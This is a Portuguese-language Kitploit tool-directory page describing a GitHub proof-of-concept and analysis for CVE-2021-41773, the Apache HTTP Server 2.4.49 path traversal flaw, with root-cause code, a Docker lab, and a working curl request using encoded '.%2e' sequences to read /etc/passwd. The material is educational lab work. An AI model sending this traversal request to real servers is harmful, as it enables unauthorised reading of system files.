Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2021-41773 — PoC e análise do CVE-2021-41773 | Kitploit
Ferramentas/GitHubGitHub/tr3m0x/cve-2021-41773
Análise de VulnerabilidadesExploração de Aplicações WebSegurança WebTestes de PenetraçãoAprendizado e EducaçãoLabs e Prática
GitHubtr3m0x/cve-2021-41773

CVE-2021-41773

PoC e análise do CVE-2021-41773

Ver Repositório
6há 1 mêsAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2021-41773 PoC — Travessia de Caminho no Apache HTTP Server

Visão Geral

CVE-2021-41773 é uma vulnerabilidade de travessia de caminho que afeta o Apache HTTP Server 2.4.49.

A vulnerabilidade permite que um atacante acesse arquivos fora do diretório pretendido em configurações específicas, especialmente quando diretórios são expostos por meio de Alias, ScriptAlias ou outras diretivas semelhantes a Alias.

A vulnerabilidade existe devido ao tratamento inadequado da normalização e canonicalização de caminhos de URL. O Apache realizava verificações de segurança em uma representação de caminho que ainda poderia conter caracteres codificados, permitindo que atacantes contornassem a detecção de travessia usando sequências de pontos codificadas.


Impacto

Um atacante pode criar uma URL maliciosa contendo sequências de travessia codificadas, como:

root@kitploit:~
.%2e

onde:

root@kitploit:~
%2e = .

Portanto:

root@kitploit:~
.%2e

torna-se:

root@kitploit:~
..

após a decodificação.

Baixar ferramenta

Se o Apache validar a representação codificada antes de resolvê-la para sua forma canônica, a verificação de travessia pode ser contornada.

A exploração bem-sucedida pode permitir que um atacante leia arquivos arbitrários do sistema de arquivos.

Exemplo de alvo:

root@kitploit:~
/etc/passwd

Código Vulnerável

A lógica vulnerável está localizada em:

root@kitploit:~
server/util.c

dentro de:

root@kitploit:~
ap_normalize_path()

Código vulnerável do Apache 2.4.49:

root@kitploit:~
if (path[l] == '.') {
    /* Remove /./ segments */
    if (IS_SLASH_OR_NUL(path[l + 1])) {
        l++;
        if (path[l]) {
            l++;
        }
        continue;
    }

    /* Remove /xx/../ segments */
    if (path[l + 1] == '.' && IS_SLASH_OR_NUL(path[l + 2])) {
        /* Wind w back to remove the previous segment */
        if (w > 1) {
            do {
                w--;
            } while (w && !IS_SLASH(path[w - 1]));
        }
        else {
            /* Already at root, ignore and return a failure
             * if asked to.
             */
            if (flags & AP_NORMALIZE_NOT_ABOVE_ROOT) {
                ret = 0;
            }
        }

        /* Move l forward to the next segment */
        l += 2;
        if (path[l]) {
            l++;
        }
        continue;
    }
}

Análise da Causa Raiz

O código vulnerável tenta identificar padrões de travessia de diretório:

root@kitploit:~
../

verificando pontos consecutivos:

root@kitploit:~
path[l + 1] == '.'

No entanto, um atacante pode fornecer uma sequência de travessia codificada:

root@kitploit:~
/.%2e/

No momento da verificação de normalização, o Apache processa:

root@kitploit:~
.%2e

em vez de:

root@kitploit:~
..

Porque:

root@kitploit:~
%2e != .

a lógica de detecção de travessia não reconhece a sequência como:

root@kitploit:~
../

O caminho é então interpretado em sua forma decodificada, permitindo que a travessia ocorra.


Fluxo de Processamento Vulnerável

O comportamento vulnerável pode ser representado como:

root@kitploit:~
HTTP Request

      |
      v

Path normalization / traversal validation

      |
      v

URL decoding / canonicalization

      |
      v

Filesystem access

A decisão de segurança é tomada antes que o caminho atinja sua representação canônica final.

Uma abordagem mais segura é:

root@kitploit:~
HTTP Request

      |
      v

URL decoding

      |
      v

Path normalization

      |
      v

Traversal validation

      |
      v

Filesystem access

As verificações de segurança devem ser sempre realizadas sobre a representação final normalizada.


Configuração do Laboratório

Clonar o repositório

root@kitploit:~
git clone https://github.com/tr3m0x/CVE-2021-41773.git
cd CVE-2021-41773

Construir a imagem Docker vulnerável

root@kitploit:~
docker build -t apache-cve-2021-41773 .

Iniciar o servidor Apache vulnerável

root@kitploit:~
docker run -d \
--name apache-vulnerable \
-p 8989:80 \
apache-cve-2021-41773

Exploração

Envie uma solicitação contendo uma sequência de travessia codificada:

root@kitploit:~
curl --path-as-is \
"http://localhost:8989/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd"

Uma exploração bem-sucedida retorna o conteúdo de:

root@kitploit:~
/etc/passwd

Exemplo:

root@kitploit:~
root:x:0:0:root:/root:/bin/bash

Nota sobre Respostas HTTP 403

Uma resposta 403 Forbidden não significa necessariamente que a exploração falhou.

Durante os testes, o Apache pode normalizar com sucesso:

root@kitploit:~
/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd

para:

root@kitploit:~
/etc/passwd

mas negar o acesso devido a permissões do sistema de arquivos ou regras de autorização do Apache.

Exemplo:

root@kitploit:~
client denied by server configuration: /etc/passwd

Isso indica que a travessia ocorreu com sucesso, mas o controle de acesso impediu a divulgação do arquivo.


Conclusão Principal

CVE-2021-41773 é um exemplo clássico de uma vulnerabilidade de canonicalização.

A entrada controlada pelo usuário pode ter múltiplas representações:

root@kitploit:~
.%2e

e:

root@kitploit:~
..

Embora pareçam diferentes, representam o mesmo componente de caminho.

As verificações de segurança devem ser sempre realizadas após a decodificação e a normalização. Validar uma representação codificada ou ambígua pode levar a contornos de segurança.